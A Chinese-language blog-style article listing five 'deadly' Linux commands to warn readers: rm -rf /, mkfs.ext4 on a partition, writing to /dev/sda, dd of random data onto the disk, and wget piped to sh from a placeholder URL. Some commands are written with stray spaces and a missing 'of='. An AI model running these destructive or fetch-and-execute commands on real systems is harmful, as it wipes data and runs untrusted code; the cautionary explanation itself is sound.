本文致力讲解一些致命的Linux命令,其致命不是对使用者产生什么危害,而是通过了解哪些致命的命令,会影响系统正常运行或者造成不可逆后果的操作,从而谨慎使用。下面一起来看看:


01

删除所有内容


Linux命令rm -rf /造成的后果会删除所有内容,包括硬盘驱动器上的文件和连接的可移动媒体设备上的文件。说明:该命令在执行时,Linux系统没有任何提示,相当于不知不觉中走向灭亡,因此请谨慎使用场景讲解:磁盘日志文件较多,需要清理

如果是服务器上的日志文件过多,磁盘空间不足,可以从两个方向处理:

  • 优化日志文件的自动清理机制,例如SpringBoot的Logback做如下配置,仅保留最近10天的日志:



<property name="log.maxHistory" value="10"/>
  • 临时手动清理一下,建议按照月份,或者日期清理,例如:



rm -rf *.2020-04-**


02

格式化硬盘


Linux命令mkfs.ext4 / dev / sda1

造成的后果命令等效于Windows系统上运行格式化,它将擦除分区上的文件并将其替换成新的文件系统说明

mkfs.ext4 :表示在设备上创建新的ext4文件系统
/dev/sda1 :表示第一个硬盘驱动器上的第一个分区


03

直接写入硬盘


Linux命令command > /dev/sda

造成的后果命令将直接写入第一个硬盘驱动器并损坏文件系统。块上的所有文件将被原始数据替换,从而导致块上的数据完全丢失说明

command :运行命令,可以是任何命令
/dev/sda:表示直接写入硬盘驱动器


04

将垃圾写入硬盘


Linux命令dd if = / dev / random = / dev / sda

造成的后果命令将清除块sda,并将随机垃圾数据写入该块,您的系统将处于不一致且不可恢复的阶段说明

dd :执行从一个位置到另一个位置的低级复制(注意⚠️:如果直接复制到设备,该操作可能很危险)
if = /dev/random:表示使用/dev/random(随机数据)作为输入
of=/dev/sda:表示输出到第一个硬盘,并且用随机垃圾数据替换其文件系统


05

下载并运行脚本


Linux命令wget http://example.com/something -O – | sh

造成的后果从网络上下载一个脚本,并将其发送给sh,后者将执行脚本内容,请不要执行不确定的脚本或者不信任的脚本,否则后果很危险⚠️说明

wget:表示下载文件
http://example.com/something:表示网上脚本的路径
|:表示将下载的脚本文件通过管道发送到另一个命令执行
sh:将脚本文件发送到sh命令,如果是bash脚本,则执行该命令





Linux系列 之 致命命令_linux命令